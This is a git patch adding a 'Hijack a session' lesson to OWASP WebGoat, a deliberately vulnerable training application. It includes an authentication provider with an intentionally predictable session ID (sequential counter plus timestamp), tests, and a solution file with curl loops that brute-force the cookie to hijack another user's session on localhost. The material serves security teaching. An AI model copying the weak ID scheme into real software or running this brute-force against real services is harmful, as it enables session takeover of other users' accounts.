From dd2e9f074d9feba3425403651f763c9c42644621 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=80ngel=20Oll=C3=A9=20Bl=C3=A1zquez?= Date: Sat, 9 Oct 2021 18:50:21 +0200 Subject: [PATCH] Hijack Session Lesson --- .../owasp/webgoat/SessionManagementTest.java | 47 +++++++ webgoat-lessons/hijack-session/pom.xml | 58 +++++++++ .../webgoat/hijacksession/HijackSession.java | 48 ++++++++ .../HijackSessionAssignment.java | 92 ++++++++++++++ .../hijacksession/cas/Authentication.java | 67 ++++++++++ .../cas/AuthenticationProvider.java | 39 ++++++ .../HijackSessionAuthenticationProvider.java | 100 +++++++++++++++ .../main/resources/html/HijackSession.html | 30 +++++ .../resources/i18n/WebGoatLabels.properties | 7 ++ .../en/HijackSession_content0.adoc | 4 + .../lessonPlans/en/HijackSession_plan.adoc | 10 ++ .../en/HijackSession_solution.adoc | 93 ++++++++++++++ .../lessonSolutions/html/HijackSession.html | 14 +++ .../main/resources/templates/hijackform.html | 24 ++++ .../HijackSessionAssignmentTest.java | 108 ++++++++++++++++ ...jackSessionAuthenticationProviderTest.java | 116 ++++++++++++++++++ webgoat-lessons/pom.xml | 2 +- webgoat-server/pom.xml | 5 + 18 files changed, 863 insertions(+), 1 deletion(-) create mode 100644 webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java create mode 100644 webgoat-lessons/hijack-session/pom.xml create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java create mode 100644 webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java create mode 100644 webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html create mode 100644 webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc create mode 100644 webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html create mode 100644 webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html create mode 100644 webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java create mode 100644 webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java new file mode 100644 index 000000000..458febbb8 --- /dev/null +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/SessionManagementTest.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat; + +import java.util.Map; + +import org.junit.jupiter.api.Test; + +/** + * + * @author Angel Olle Blazquez + * + */ + +class SessionManagementTest extends IntegrationTest { + + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/HijackSession/login"; + + + @Test + void hijackSessionTest() { + startLesson("HijackSession"); + + checkAssignment(HIJACK_LOGIN_CONTEXT_PATH, Map.of("username", "webgoat", "password", "webgoat"), false); + } +} diff --git a/webgoat-lessons/hijack-session/pom.xml b/webgoat-lessons/hijack-session/pom.xml new file mode 100644 index 000000000..484f96692 --- /dev/null +++ b/webgoat-lessons/hijack-session/pom.xml @@ -0,0 +1,58 @@ + + 4.0.0 + hijack-session + jar + + org.owasp.webgoat.lesson + webgoat-lessons-parent + 8.2.3-SNAPSHOT + + + + 0.8.7 + + + + + + coverage + + false + + + + + org.jacoco + jacoco-maven-plugin + ${jacoco.version} + + + default-prepare-agent + + prepare-agent + + + + default-report + verify + + report + + + ${project.build.directory}/jacoco.exec + ${project.reporting.outputDirectory}/jacoco + + **/HijackSession.* + + + + + + + + + + + diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java new file mode 100644 index 000000000..a03929754 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSession.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class HijackSession extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.SESSION_MANAGEMENT; + } + + @Override + public String getTitle() { + return "hijacksession.title"; + } +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java new file mode 100644 index 000000000..0500f3e7f --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/HijackSessionAssignment.java @@ -0,0 +1,92 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; + +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.hijacksession.cas.Authentication; +import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +@AssignmentHints({ + "hijacksession.hints.1", + "hijacksession.hints.2", + "hijacksession.hints.3", + "hijacksession.hints.4", + "hijacksession.hints.5" +}) +public class HijackSessionAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "hijack_cookie"; + + @Autowired + HijackSessionAuthenticationProvider provider; + + @PostMapping(path = "/HijackSession/login") + @ResponseBody + public AttackResult login( + @RequestParam String username, + @RequestParam String password, + @CookieValue(value = COOKIE_NAME, required = false) String cookieValue, + HttpServletResponse response) { + + Authentication authentication; + if (StringUtils.isEmpty(cookieValue)) { + authentication = provider.authenticate(Authentication.builder().name(username).credentials(password).build()); + setCookie(response, authentication.getId()); + } else { + authentication = provider.authenticate(Authentication.builder().id(cookieValue).build()); + } + + if (authentication.isAuthenticated()) { + return success(this).build(); + } + + return failed(this).build(); + } + + private void setCookie(HttpServletResponse response, String cookieValue) { + Cookie cookie = new Cookie(COOKIE_NAME, cookieValue); + cookie.setPath("/WebGoat"); + cookie.setSecure(true); + response.addCookie(cookie); + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java new file mode 100644 index 000000000..2ee9e069a --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/Authentication.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.security.Principal; + +import lombok.Builder; +import lombok.Getter; +import lombok.ToString; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@Getter +@ToString +public class Authentication implements Principal { + + private boolean authenticated = false; + private String name; + private Object credentials; + private String id; + + @Builder + public Authentication(String name, Object credentials, String id) { + this.name = name; + this.credentials = credentials; + this.id = id; + } + + @Override + public String getName() { + return name; + } + + protected void setAuthenticated(boolean authenticated) { + this.authenticated = authenticated; + } + + protected void setId(String id) { + this.id = id; + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java new file mode 100644 index 000000000..0db7cf40d --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/AuthenticationProvider.java @@ -0,0 +1,39 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.security.Principal; + +/** + * + * @author Angel Olle Blazquez + * + */ + +@FunctionalInterface +public interface AuthenticationProvider { + + T authenticate(T t); + +} diff --git a/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java new file mode 100644 index 000000000..63ca046f6 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProvider.java @@ -0,0 +1,100 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import java.time.Instant; +import java.util.LinkedList; +import java.util.Queue; +import java.util.Random; +import java.util.concurrent.ThreadLocalRandom; +import java.util.function.DoublePredicate; +import java.util.function.Supplier; + +import org.apache.commons.lang3.StringUtils; +import org.springframework.stereotype.Component; +import org.springframework.web.context.annotation.ApplicationScope; + +/** + * + * @author Angel Olle Blazquez + * + */ + +// weak id value and mechanism + +@ApplicationScope +@Component +public class HijackSessionAuthenticationProvider implements AuthenticationProvider { + + private Queue sessions = new LinkedList<>(); + private static long id = new Random().nextLong() & Long.MAX_VALUE; + protected static final int MAX_SESSIONS = 50; + + private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75; + private static final Supplier GENERATE_SESSION_ID = () -> ++id + "-" + Instant.now().toEpochMilli(); + public static final Supplier AUTHENTICATION_SUPPLIER = () -> Authentication + .builder() + .id(GENERATE_SESSION_ID.get()) + .build(); + + @Override + public Authentication authenticate(Authentication authentication) { + if (authentication == null) { + return AUTHENTICATION_SUPPLIER.get(); + } + + if (StringUtils.isNotEmpty(authentication.getId()) && sessions.contains(authentication.getId())) { + authentication.setAuthenticated(true); + return authentication; + } + + if (StringUtils.isEmpty(authentication.getId())) { + authentication.setId(GENERATE_SESSION_ID.get()); + } + + authorizedUserAutoLogin(); + + return authentication; + } + + protected void authorizedUserAutoLogin() { + if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) { + Authentication authentication = AUTHENTICATION_SUPPLIER.get(); + authentication.setAuthenticated(true); + addSession(authentication.getId()); + } + } + + protected boolean addSession(String sessionId) { + if (sessions.size() >= MAX_SESSIONS) { + sessions.remove(); + } + return sessions.add(sessionId); + } + + protected int getSessionsSize() { + return sessions.size(); + } + +} diff --git a/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html b/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html new file mode 100644 index 000000000..223de6657 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/html/HijackSession.html @@ -0,0 +1,30 @@ + + + + + + + +
+
+
+ + +
+
+
+
+ +
+ +
+
+
+ +
+
+
+
+ + diff --git a/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties new file mode 100644 index 000000000..7d8972ae1 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/i18n/WebGoatLabels.properties @@ -0,0 +1,7 @@ +hijacksession.title=Hijack a session + +hijacksession.hints.1=Check the 'hijack_cookie' cookie value and think about its format. +hijacksession.hints.2=The 'hijack_cookie' is divided in two parts and has the following format '"long number"-"another long number"'. +hijacksession.hints.3=The 'hijack_cookie' is divided in two parts and has the following format '"sequential number"-"unix epoch time"'. +hijacksession.hints.4=Try to send multiple requests to force the creation of new cookies and check if there's any pattern. +hijacksession.hints.5=Sometimes, authorized users logs into the application. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc new file mode 100644 index 000000000..8b260b0da --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_content0.adoc @@ -0,0 +1,4 @@ += Hijack a Session + +In this lesson we are trying to predict the 'hijack_cookie' value. THe 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. + diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc new file mode 100644 index 000000000..dd5a74336 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonPlans/en/HijackSession_plan.adoc @@ -0,0 +1,10 @@ += Hijack a Session + +== Concept + +Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks. + + +== Goals + +Gain access to an authenticated session belonging to someone else. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc new file mode 100644 index 000000000..e76cd39d1 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/en/HijackSession_solution.adoc @@ -0,0 +1,93 @@ += Hijack a Session + +== Solution + +Some standard Linux tools have been used on this solution. + +=== Analysis + +Inspect the 'hijack_cookie' cookie value: + +[source, text] +---- +3814082160704930327-1636910266991 +---- + +The 'hijack_cookie' is divided in two parts and has the following format: + +**-** + +The first part of the cookie value is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted. + +Notice that there is sometimes a gap in the first value of the 'hijack_cookie', where one number (or more) is skipped. The missing value means that possibly some user logged in into the system and an authorized cookie has been generated and assigned to him. + +It's simple to spot where this value is if we know the cookie values between this valid user cookie. + +=== Brute forcing + +Send some clean request (without setting the hijack_cookie) to the /WebGoat/HijackSession/login endpoint. + +[source, sh] +---- +# command +for i in $(seq 1 10); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW" \ +--data-raw 'username=&password=' \ +--compressed \ +--output /dev/null \ +-v +done + +# cookies +<...> +< Set-Cookie: hijack_cookie=3026815832223943295-1636913556701; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943296-1636913556848; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943297-1636913556998; path=/WebGoat; secure +< Set-Cookie: hijack_cookie=3026815832223943299-1636913557143; path=/WebGoat; secure +<...> +---- + +Note: a valid WebGoat JSESSIONID has to be used. It can be obtained after logging in into WebGoat. + +The 'hijack_cookie' beginning with 3026815832223943298 is missing. This is the value we want, we just need to figure out the second part. + +So our timestamp is between 1636913556998 and 1636913557143. Now we just need a program to do brute force this for us. + +[source, sh] +---- +for i in $(seq 1636913556998 1636913557143); do +curl 'http://localhost:8080/WebGoat/HijackSession/login' \ +-H 'Connection: keep-alive' \ +-H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"' \ +-H 'Accept: */*' \ +-H 'X-Requested-With: XMLHttpRequest' \ +-H 'sec-ch-ua-mobile: ?0' \ +-H 'User-Agent: any' \ +-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ +-H 'Origin: http://localhost:8080' \ +-H 'Sec-Fetch-Site: same-origin' \ +-H 'Sec-Fetch-Mode: cors' \ +-H 'Sec-Fetch-Dest: empty' \ +-H 'Referer: http://localhost:8080/WebGoat/start.mvc' \ +-H 'Accept-Language: en-US,en;q=0.9' \ +-H "Cookie: JSESSIONID=T_kki1UnFP7XTxdEqX-XmZ25qgmKDFtqyoeHyQhW; hijack_cookie=3026815832223943298-"$i"" \ +--data-raw 'username=&password=' \ +--compressed +done +---- + +One of those requests will be a valid login and the lesson will be marked as completed. diff --git a/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html new file mode 100644 index 000000000..ac8ab94d5 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/lessonSolutions/html/HijackSession.html @@ -0,0 +1,14 @@ + + + + + + +
+ + +
+
+ + + diff --git a/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html b/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html new file mode 100644 index 000000000..16370fd90 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/main/resources/templates/hijackform.html @@ -0,0 +1,24 @@ +
+
+
+
+

Account Access

+
+
+ + +
+
+ +
+ +
+
+
+
+
diff --git a/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java new file mode 100644 index 000000000..19743825b --- /dev/null +++ b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/HijackSessionAssignmentTest.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession; + +import static org.hamcrest.Matchers.emptyString; +import static org.hamcrest.Matchers.not; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.lenient; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.cookie; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup; + +import javax.servlet.http.Cookie; + +import org.hamcrest.CoreMatchers; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; +import org.owasp.webgoat.assignments.AssignmentEndpointTest; +import org.owasp.webgoat.hijacksession.cas.Authentication; +import org.owasp.webgoat.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.test.util.ReflectionTestUtils; +import org.springframework.test.web.servlet.MockMvc; +import org.springframework.test.web.servlet.ResultActions; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@ExtendWith(MockitoExtension.class) +class HijackSessionAssignmentTest extends AssignmentEndpointTest { + + private MockMvc mockMvc; + private static final String COOKIE_NAME = "hijack_cookie"; + private static final String LOGIN_CONTEXT_PATH = "/HijackSession/login"; + + @Mock + Authentication authenticationMock; + + @Mock + HijackSessionAuthenticationProvider providerMock; + + HijackSessionAssignment assignment; + + @BeforeEach + void setup() { + assignment = new HijackSessionAssignment(); + init(assignment); + ReflectionTestUtils.setField(assignment, "provider", new HijackSessionAuthenticationProvider()); + mockMvc = standaloneSetup(assignment).build(); + } + + @Test + void testValidCookie() throws Exception { + lenient().when(authenticationMock.isAuthenticated()).thenReturn(true); + lenient().when(providerMock.authenticate(any(Authentication.class))).thenReturn(authenticationMock); + ReflectionTestUtils.setField(assignment, "provider", providerMock); + + Cookie cookie = new Cookie(COOKIE_NAME, "value"); + + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .cookie(cookie) + .param("username", "") + .param("password", "")); + + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true))); + + } + + @Test + void testBlankCookie() throws Exception { + ResultActions result = mockMvc.perform(MockMvcRequestBuilders + .post(LOGIN_CONTEXT_PATH) + .param("username", "webgoat") + .param("password", "webgoat")); + + result.andExpect(cookie().value(COOKIE_NAME, not(emptyString()))); + result.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false))); + + } + +} diff --git a/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java new file mode 100644 index 000000000..1ccaf5e01 --- /dev/null +++ b/webgoat-lessons/hijack-session/src/test/java/org/owasp/webgoat/hijacksession/cas/HijackSessionAuthenticationProviderTest.java @@ -0,0 +1,116 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.hijacksession.cas; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +import java.util.stream.Stream; + +import org.apache.commons.lang3.StringUtils; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.owasp.webgoat.hijacksession.cas.Authentication.AuthenticationBuilder; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +class HijackSessionAuthenticationProviderTest { + + HijackSessionAuthenticationProvider provider = new HijackSessionAuthenticationProvider(); + + @ParameterizedTest + @DisplayName("Provider authentication test") + @MethodSource("authenticationForCookieValues") + void testProviderAuthenticationGeneratesCookie(Authentication authentication) { + Authentication auth = provider.authenticate(authentication); + assertThat(auth.getId(), not(StringUtils.isEmpty(auth.getId()))); + } + + @Test + void testAuthenticated() { + String id = "anyId"; + provider.addSession(id); + + Authentication auth = provider.authenticate(Authentication.builder().id(id).build()); + + assertThat(auth.getId(), is(id)); + assertThat(auth.isAuthenticated(), is(true)); + + auth = provider.authenticate(Authentication.builder().id("otherId").build()); + + assertThat(auth.getId(), is("otherId")); + assertThat(auth.isAuthenticated(), is(false)); + } + + @Test + void testAuthenticationToString() { + AuthenticationBuilder authBuilder = Authentication.builder() + .name("expectedName") + .credentials("expectedCredentials") + .id("expectedId"); + + Authentication auth = authBuilder.build(); + + String expected = "Authentication.AuthenticationBuilder(" + + "name=" + auth.getName() + + ", credentials=" + auth.getCredentials() + + ", id=" + auth.getId() + ")"; + + assertThat(authBuilder.toString(), is(expected)); + + expected = "Authentication(authenticated=" + auth.isAuthenticated() + + ", name=" + auth.getName() + + ", credentials=" + auth.getCredentials() + + ", id=" + auth.getId() + ")"; + + assertThat(auth.toString(), is(expected)); + + } + + @Test + void testMaxSessions() { + for (int i = 0; i <= HijackSessionAuthenticationProvider.MAX_SESSIONS + 1; i++) { + provider.authorizedUserAutoLogin(); + provider.addSession(null); + } + + assertThat(provider.getSessionsSize(), is(HijackSessionAuthenticationProvider.MAX_SESSIONS)); + } + + private static Stream authenticationForCookieValues() { + return Stream.of( + Arguments.of((Object) null), + Arguments.of(Authentication.builder().name("any").credentials("any").build()), + Arguments.of(Authentication.builder().id("any").build())); + } + +} diff --git 